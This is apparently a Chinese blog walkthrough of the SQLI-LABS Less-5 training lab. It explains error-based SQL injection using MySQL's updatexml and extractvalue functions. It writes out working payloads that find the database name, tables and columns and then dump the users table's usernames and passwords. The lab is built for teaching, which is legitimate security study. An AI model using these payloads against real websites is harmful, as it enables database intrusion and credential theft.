首页 > 数据库 >SQLI-LABS(Less-5)

SQLI-LABS(Less-5)

时间:2022-09-05 20:12:46浏览次数:59  
标签:语句 Less LABS SQLI 报错 updatexml id concat 注入

Less-5(Double injection-Single Quotes-String)

打开Less-5页面,可以看到页面中间有一句Please input the ID as parameter with numeric value,那么先使用ID这个参数通过GET方式传入一个数值。

确定注入点

注入语句:?id=1

从上图可以看出传入id=1并没有回显查询结果,接着试一下?id=1',发现在引号附近产生歧义导致了报错。并且通过报错信息可以看出闭合SQL语句时用的是单引号。
由于这里不回显查询结果,但是依然会显示报错信息,那么就不使用联合注入,而选择报错注入。

使用注入语句:?id=1' --+看看是否能够正常闭合并注释,从下图看出是没有问题的。

关于报错注入:
报错注入主要使用xpath语法错误来进行报错注入,主要利用extractvalueupdatexml两个函数。使用条件:·mysql版本>5.1.5

  • extractvalue函数
    正常语法:extractvalue(目标xml文档,xml路径);
    第一个参数是string格式,为xml文档对象的名称。
    第二个参数是xpath格式的字符串,要求符合xpath语法的字符串,如果不满足要求,则会报错,为了方便开发人员调试会将报错信息放在查询结果中。
    作用:从目标xml中返回包含所查询值的字符串。
    常见用法:id=" and(select extractvalue("anything",concat('~',(注入语句)))),其中~也可以写成其ASCII码0x7e或者换成#$等不满足xpath格式的字符。
    注意:extractvalue()能查询字符串的最大长度为32,如果我们想要的结果超过32,就要用substring()函数截取或limit分页,一次查看最多32位。例:substring(name,5,3)截取name这个字段 从第5个字符开始 截取之后的3个字符。

  • updatexml函数
    正常语法:updatexml(目标xml文档,xml路径,更新的内容);
    第一个参数是XML的内容
    第二个参数是需要update的位置XPATH路径
    第三个参数是更新后的内容
    和extractvalue()相同的是都是对第二个参数进行操作的,通过构造非法格式的查询语句,来使其返回错误的信息,并将其更新出来。第一个参数和第三个参数可以随便写。
    常见用法:id='and(select updatexml("anything",concat('~',(注入语句())),"anything"))

确定当前数据库名

注入语句:?id=1' and updatexml(1,concat(0x7e,(select database())),1) --+。其中,concat函数用于连接两个字符串,形成一个字符串,concat('a','b')='ab',这样当爆出多个信息时,可以通过~进行分割。

从报错信息中可以看出,当前数据库为security

确定数据库中的数据表

注入语句:?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1) --+

确定users表中的列名

注入语句:?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database())),1) --+

通过上述注入可以得知users表中存在三列,分别为idusernamepassword

确定users表中的用户名和密码

注入语句:?id=1' and updatexml(1,concat(0x7e,substring((select group_concat(concat(username,'^',password)) from users),1,31)),1) --+

从上图可以看出,爆出的账号密码长度超出了32,所以需要继续使用substring()函数每隔32位截取一次,最终拼凑出全部内容。
至此,就得到了当前表中所有的用户名和密码。

标签:语句,Less,LABS,SQLI,报错,updatexml,id,concat,注入
From: https://www.cnblogs.com/Timesi/p/16659193.html

相关文章

  • SQLI-LABS(Less-4)
    Less-4(Errorbased-DoubleQuotes-string)打开Less-4页面,可以看到页面中间有一句PleaseinputtheIDasparameterwithnumericvalue,那么先使用ID这个参数通过GET方式......
  • php8.0源码编译安装mysqli拓展
    将开发环境web项目上传到CentOS8.0云服务器上后,调用PHP文件报500错误,经排查php环境中不存在mysqli拓展,导致无法使用mysqli_connect()函数;查看phpinfo()页面证实猜想;原因可......
  • Serverless 架构下的 AI 应用开发:入门、实战与性能优化
    作者:Serverless随着时间的推移,Serverless架构变得越来越火热,凭借着极致弹性、按量付费、低成本运维等特性,在很多领域发挥着越来越重要的作用;机器学习领域在近些年也非常......
  • [HTML+CSS] 17.less 简介
    笔记来源:尚硅谷Web前端HTML5&CSS3初学者零基础入门全套完整版目录less简介1、安装插件2、编写less3、less语法less注释父子关系嵌套变量其他4、混合函数其他5、......
  • 02-mORMot框架样例学习-02 - Embedded SQLite3 ORM(SQLite3 数据库)
     programProject01;uses{$ISynDprUses.inc}//useFastMM4onolderDelphi,orsetFPCthreadsForms,SysUtils,SynCommons,mORMot,Unit1......
  • sqli-labs第二关
    1.判断是否存在注入输入?id=1可以看出存在注入2.判断什么类型的注入输入?id=1'发现出现错误提示,说明单引号影响了闭合,为数字型注入说明其他步骤和第一关相似,只需要......
  • sqli-labs第一关
    sqli-labs通关记录1.判断是否可以注入输入?id=1输入?id=2由此可以判断出可以进行注入2.判断什么类型的注入输入?id=1'输入?id=1'--+可以看出第一次输入结果出......
  • 04_Linux基础-.&..-cat-tac-重定向-EOF-Shell-more-ps-less-head-tail-sed-grep-which
    04_Linux基础-.&..-cat-tac->&>>-EOF-Shell-more-ps-less-head-tail-sed-grep-which-whereis-PATH-bash-/usr-locate-find一.回顾回顾// 将/home/目录下的所有文件和......
  • Docker 部署GitLabs 版本升级 13.9.x -> 15.3.x
    Gitlabs版本升级大版本不能直接跳级升级,可以参考官方的升级路径。本人是从13.9.x需要升级到最新的15.3.x。参考官方路径结合自己的实际情况成功升级。13.9.0->13.12.......
  • SQLite Entity Framework Core 使用 DBFirst
    1.使用DBBrowserforSQLite建立数据库db文件2.NuGet包管理器下载安装如下几3个包  3.使用程序包管理器控制台生成实体PM>Scaffold-DbContext-Force"DataSourc......